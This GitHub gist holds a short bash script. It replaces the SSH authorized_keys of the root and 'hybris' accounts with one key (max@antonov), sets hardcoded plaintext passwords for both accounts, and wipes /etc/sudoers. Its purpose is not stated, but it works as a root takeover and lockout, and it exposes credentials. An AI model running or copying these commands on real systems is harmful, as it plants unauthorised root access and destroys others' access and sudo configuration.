Skip to content

Instantly share code, notes, and snippets.

@idler
Last active May 20, 2021
Embed
What would you like to do?
#!/bin/bash
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa6fbSyRcYjgsX8BN/ZkdBwUKhZJFx2VoZEC/oaRKx+CjQg1AHLVJRu5cnrq1zPepgpWL3COr2ksawapZMhbhieJopwUeCgbYX/gUbvE3/NWaUtowBEwflNrO7rdbb1A/DNqh8mOqW+VME7+IC2hQ3dVtAB/gAFSNkwBRSxqrycLZpsO8wY8oUOmS31V3OS7nzxMIXeLIHr+mywaxYjWKlLzSp+0Ms5XfX3h31Nb0Xpqgqi/uzaUA1nIayPcczh6UJzO1jjMVFvWjvmQargtmeJyclXOEws+p/le42i8yiUB1o1eDWCUwwKfVBAfm/uYg12v1wCMxmMwC7xBn+NXc/ max@antonov' > /home/hybris/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa6fbSyRcYjgsX8BN/ZkdBwUKhZJFx2VoZEC/oaRKx+CjQg1AHLVJRu5cnrq1zPepgpWL3COr2ksawapZMhbhieJopwUeCgbYX/gUbvE3/NWaUtowBEwflNrO7rdbb1A/DNqh8mOqW+VME7+IC2hQ3dVtAB/gAFSNkwBRSxqrycLZpsO8wY8oUOmS31V3OS7nzxMIXeLIHr+mywaxYjWKlLzSp+0Ms5XfX3h31Nb0Xpqgqi/uzaUA1nIayPcczh6UJzO1jjMVFvWjvmQargtmeJyclXOEws+p/le42i8yiUB1o1eDWCUwwKfVBAfm/uYg12v1wCMxmMwC7xBn+NXc/ max@antonov' > /root/.ssh/authorized_keys
echo 'root:YjdsqGfhjkmFdnjhbpfwbb123'|chpasswd
echo 'hybris:GjkmpjdfntkmcrbqGfhjkmLkzD[jlf'|chpasswd
echo > /etc/sudoers
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment